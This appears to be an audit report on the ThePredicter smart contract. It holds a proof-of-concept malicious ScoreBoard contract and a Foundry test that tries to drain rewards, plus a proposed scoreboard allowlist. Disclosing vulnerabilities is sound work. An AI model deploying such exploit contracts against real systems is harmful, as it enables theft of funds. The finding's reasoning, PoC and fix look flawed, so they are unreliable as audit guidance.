Summary
A malicious ScoreBoard contract could exploit the ThePredicter contract as proper checks are not implemented.
Vulnerability Details
https://github.com/Cyfrin/2024-07-the-predicter/blob/839bfa56fe0066e7f5610197a6b670c26a4c0879/src/ThePredicter.sol#L35
The construtor has no check to verify the right scorebard meant to be used by the predicter contract.
The malicious ScoreBoard contract will bypass checks and allow unauthorized withdrawals.
It will manipulate player scores or prediction statuses, leading to unfair rewards.
The malicious contract will potentially implement empty functions or misleading logic that does not adhere to the intended behavior of the legitimate ScoreBoard contract.
POC
A malicious ScoreBoard contract. This contract manipulates the confirmPredictionPayment and getPlayerScore methods to exploit the ThePredicter contract. Here the player can then call withdraw and receive an unfairly large reward due to the manipulated score.
pragma solidity 0.8.20;
contract MaliciousScoreBoard {
uint256 private constant NUM_MATCHES = 9;
enum Result {
Pending,
First,
Draw,
Second
}
struct PlayerPredictions {
Result[NUM_MATCHES] predictions;
bool[NUM_MATCHES] isPaid;
uint8 predictionsCount;
}
mapping(address => PlayerPredictions) public playersPredictions;
mapping(address => bool) public isEligibleForReward;
function confirmPredictionPayment(address player, uint256 matchNumber) public {
playersPredictions[player].isPaid[matchNumber] = true;
}
function setPrediction(address player, uint256 matchNumber, Result result) public {
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 9;
}
function getPlayerScore(address player) public view returns (int8 score) {
return 18;
}
function setEligibility(address player, bool eligibility) public {
isEligibleForReward[player] = eligibility;
}
}
Test Impact
pragma solidity 0.8.20;
import "forge-std/Test.sol";
import "./ThePredicter.sol";
import "./MaliciousScoreBoard.sol";
contract ExploitTest is Test {
ThePredicter thePredicter;
MaliciousScoreBoard maliciousScoreBoard;
address player = address(0x123);
function setUp() public {
maliciousScoreBoard = new MaliciousScoreBoard();
thePredicter = new ThePredicter(address(maliciousScoreBoard), 1 ether, 0.1 ether);
}
function testExploit() public {
vm.deal(player, 10 ether);
vm.startPrank(player);
thePredicter.register{value: 1 ether}();
vm.stopPrank();
for (uint256 i = 0; i < 9; ++i) {
vm.startPrank(player);
thePredicter.makePrediction(i, MaliciousScoreBoard.Result.First);
vm.stopPrank();
}
maliciousScoreBoard.setEligibility(player, true);
vm.startPrank(player);
thePredicter.withdraw();
vm.stopPrank();
assertGt(player.balance, 10 ether);
}
}
Unauthorized Access to Funds: A malicious ScoreBoard contract could manipulate the prediction results and reward distribution, allowing an attacker to withdraw funds from the contract without meeting the legitimate conditions.
Financial Loss: Players and the organizer will suffer financial losses due to unauthorized withdrawals and manipulation of rewards.
Integrity Compromise: The integrity of the entire prediction system will be compromised, as the malicious contract can alter the game rules, results, and player statuses arbitrarily.
Tools Used
manual review and foundry
Recommendations
Updated ThePredicter Contract with** robust checks and controls when integrating the ScoreBoard contracts.**
pragma solidity 0.8.20;
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { ScoreBoard } from "./ScoreBoard.sol";
contract ThePredicter {
using Address for address payable;
uint256 private constant START_TIME = 1723752000;
enum Status {
Unknown,
Pending,
Approved,
Canceled
}
address public organizer;
address[] public players;
uint256 public entranceFee;
uint256 public predictionFee;
ScoreBoard public scoreBoard;
mapping(address => Status) public playersStatus;
mapping(address => bool) public approvedScoreBoards;
error ThePredicter__IncorrectEntranceFee();
error ThePredicter__RegistrationIsOver();
error ThePredicter__IncorrectPredictionFee();
error ThePredicter__AllPlacesAreTaken();
error ThePredicter__CannotParticipateTwice();
error ThePredicter__NotEligibleForWithdraw();
error ThePredicter__PredictionsAreClosed();
error ThePredicter__UnauthorizedAccess();
error ThePredicter__InvalidScoreBoard();
constructor(
address _scoreBoard,
uint256 _entranceFee,
uint256 _predictionFee
) {
organizer = msg.sender;
scoreBoard = ScoreBoard(_scoreBoard);
entranceFee = _entranceFee;
predictionFee = _predictionFee;
approvedScoreBoards[_scoreBoard] = true;
}
modifier onlyOrganizer() {
if (msg.sender != organizer) {
revert ThePredicter__UnauthorizedAccess();
}
_;
}
function addApprovedScoreBoard(address _scoreBoard) public onlyOrganizer {
approvedScoreBoards[_scoreBoard] = true;
}
function setScoreBoard(address _scoreBoard) public onlyOrganizer {
if (!approvedScoreBoards[_scoreBoard]) {
revert ThePredicter__InvalidScoreBoard();
}
scoreBoard = ScoreBoard(_scoreBoard);
}
}